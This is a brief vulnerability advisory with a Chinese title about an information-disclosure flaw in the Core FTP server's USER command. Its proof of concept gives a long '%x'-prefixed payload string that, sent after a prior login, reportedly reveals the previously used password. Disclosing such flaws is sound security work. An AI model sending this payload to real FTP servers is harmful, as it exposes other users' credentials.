Core FTP 'USER' 命令信息泄露漏洞

                                                Proof of Concept: 
1) Log into the Core FTP Server with a valid user. 
2) Close the terminal. 
3) Use the "USER" command with the following string: 
"%xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
4) Observe that the previously used password is disclosed